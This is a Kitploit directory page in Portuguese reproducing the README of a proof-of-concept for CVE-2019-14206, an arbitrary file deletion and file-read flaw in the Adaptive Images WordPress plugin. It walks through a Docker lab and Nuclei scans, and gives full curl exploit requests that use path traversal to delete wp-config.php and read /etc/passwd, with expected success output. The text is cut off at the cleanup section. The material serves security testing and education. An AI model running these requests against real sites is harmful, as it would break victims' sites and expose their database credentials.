Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2019-14206-poc — Exploit de prova de conceito para CVE-2019-14206, demonstrando exclusão arbitrária de arquivos no plugin WordPress Adaptive Images. Inclui laboratório Docker, modelo Nuclei e scripts de teste manuais para educação e validação em segurança. | Kitploit
Ferramentas/GitHubGitHub/developerfred/cve-2019-14206-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

Exploit de prova de conceito para CVE-2019-14206, demonstrando exclusão arbitrária de arquivos no plugin WordPress Adaptive Images. Inclui laboratório Docker, modelo Nuclei e scripts de teste manuais para educação e validação em segurança.

Ver Repositório
17há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-14206 - Adaptive Images for WordPress Arbitrary File Deletion

📋 Índice

  1. Sobre a Vulnerabilidade
  2. Pré-requisitos
  3. Instalação
  4. Métodos de Teste
    • Teste Rápido
    • Teste Completo com Docker
    • Teste com Nuclei
    • Teste Manual
  5. Interpretando Resultados
  6. Limpeza
  7. Solução de Problemas
  8. Mitigação
  9. Aviso Legal

🎯 Sobre a Vulnerabilidade

CVE-ID: CVE-2019-14206
Severity: High (CVSS 6.5)
Plugin Afetado: Adaptive Images for WordPress
Versões Afetadas: < 0.6.67

O que essa vulnerabilidade permite?

Esta vulnerabilidade permite que um atacante remoto e não autenticado delete arquivos arbitrários no servidor WordPress explorando o plugin Adaptive Images.

Impacto Real:

  • ❌ Deleção de wp-config.php causando pane completa no site
  • ❌ Exposição de credenciais do banco de dados via LFI
  • ⚠️ Corrente de ataque levando a RCE (Remote Code Execution)
  • 🔴 Comprometimento total do site WordPress

Causa Raiz:

// O plugin usa input do usuário SEM sanitização
$settings = $_REQUEST['adaptive-images-settings'];

// Constrói caminho de arquivo com parâmetros controlados pelo atacante
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// DELETA arquivo arbitrário
unlink($cache_file);

💻 Pré-requisitos

Requisitos Mínimos:

  • Sistema Operacional: macOS, Linux ou Windows
  • Nuclei: Versão 3.0 ou superior (Instalar)
  • Bash: Versão 4.0 ou superior
  • curl: Para testes manuais
  • PHP: Versão 7.0+ (opcional, para testes com servidor built-in)

Verificando Pré-requisitos:

# Verificar Nuclei
nuclei --version

# Verificar Bash
bash --version

# Verificar curl
curl --version

# Verificar PHP (opcional)
php --version 2>/dev/null || echo "PHP não disponível (opcional)"

🚀 Instalação

Passo 1: Clonar ou Baixar os Arquivos

# Se estiver no diretório nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates

# Ou baixe os arquivos necessários
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

Passo 2: Verificar Estrutura de Arquivos

# Verificar se os arquivos existem
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

Passo 3: Tornar Scripts Executáveis

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 Métodos de Teste

1. Teste Rápido ⏱️ 2 minutos

Execute a demonstração completa que simula toda a exploração:

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

O que acontece:

  • Cria ambiente de teste completo
  • Simula a vulnerabilidade
  • Demonstra deleção de arquivo
  • Valida template Nuclei

Saída esperada:

[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. Teste Completo com Docker 🐳 10 minutos

Passo 1: Iniciar Ambiente Docker

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Se Docker estiver rodando
docker-compose up -d

# Se Docker NÃO estiver rodando, use o simulador
./docker-test-full.sh

Passo 2: Acessar WordPress

# O ambiente estará disponível em
# http://localhost:8888

Passo 3: Verificar Plugin Vulnerável

# Verificar se o script vulnerable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

Passo 4: Executar Testes

# Teste LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Teste File Deletion
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Verificar se wp-config.php foi deletado
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. Teste com Nuclei 🎯 5 minutos

Passo 1: Preparar Lista de Alvos

# Criar arquivo de alvos
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

Passo 2: Executar Scan

# Scan básico
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# Scan detalhado
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# Scan com debug (OBRIGATÓRIO para bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# Salvar resultados
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

Passo 3: Interpretar Resultados

# Ver resultados
cat results.txt

# Resultados positivos terão:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. Teste Manual 🔧 10 minutos

Passo 1: Iniciar Servidor PHP

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

Passo 2: Testar LFI (Leitura de Arquivos)

# Tentar ler /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Tentar ler wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

Resultado esperado (LFI):

=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

Passo 3: Testar Deleção de Arquivos

# Verificar se wp-config.php existe ANTES
ls -la wp-config.php

# Executar exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Verificar se wp-config.php foi deletado DEPOIS
ls -la wp-config.php

Resultado esperado (File Deletion):

[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 Interpretando Resultados

Resultado Positivo (Vulnerável):

[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

Resultado Negativo (Não Vulnerável):

[N/A] No results found

Possíveis Razões para Falso Negativo:

  • ✅ Plugin não instalado
  • ✅ Plugin atualizado (versão >= 0.6.67)
  • ✅ WAF bloqueando requisições
  • ✅ Servidor não responde nos caminhos esperados

🧹 Limpeza

Limpar Ambiente de Teste:

Baixar ferramenta